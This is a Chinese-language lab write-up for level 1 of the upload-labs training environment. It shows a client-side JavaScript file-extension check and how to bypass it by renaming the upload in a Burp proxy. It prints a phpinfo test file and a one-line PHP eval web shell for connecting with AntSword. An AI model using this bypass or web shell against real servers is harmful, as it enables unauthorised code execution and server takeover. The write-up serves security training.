文件上傳之前端繞過(upload-labs第一關)

在這裏插入圖片描述

第一章 前端限制與繞過

有些Web 應用的文件上傳功能,僅在前端用JS 腳本做了檢測,如檢測文件後綴名等。upload-labs 第一關,以下是經典的代碼。

第二章 代碼審計-源碼

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("請選擇要上傳的文件!");
            return false;
        }
        //定義允許上傳的文件類型
        var allow_ext = ".jpg|.png|.gif";
        //提取上傳文件的類型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判斷上傳文件類型是否允許上傳
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型爲:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

此段JS 代碼採用白名單策略,檢測文件後綴名。配合表單事件使用。

<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    <p>請選擇要上傳的圖片:<p>
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="上傳"/>
</form>

前端JS 腳本檢測的安全防禦是十分薄弱的。可以非常輕鬆的繞過。
在這裏插入圖片描述

第三章 文件上傳案例

使惡意文件後綴名符合白名單策略,用Burp 掛代理抓包,然後修改文件後綴名即可。

對於文件上傳,只從Web 前端進行檢測顯然防護不足,那麼服務器端檢測就特別重要了。一般服務器端檢測,採用黑白名單策略。

第一步 上傳一張jpg文件 並查看文件路徑

在這裏插入圖片描述在這裏插入圖片描述

第二步 上傳.php文件

[<?php phpinfo();?>]
在這裏插入圖片描述

第三步 使用burp抓包,修改文件後綴名爲.php文件

在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述

第四步 查看上傳的文件是否成功執行

在這裏插入圖片描述在這裏插入圖片描述

第五步 上傳一句話木馬 蟻劍連接

Yijuhua.jpg內容:[<?php @eval($_REQUEST['cmd']);?>]

在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述

免責聲明

本文檔供學習,請使用者注意使用環境並遵守國家相關法律法規!
由於使用不當造成的後果上傳者概不負責!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章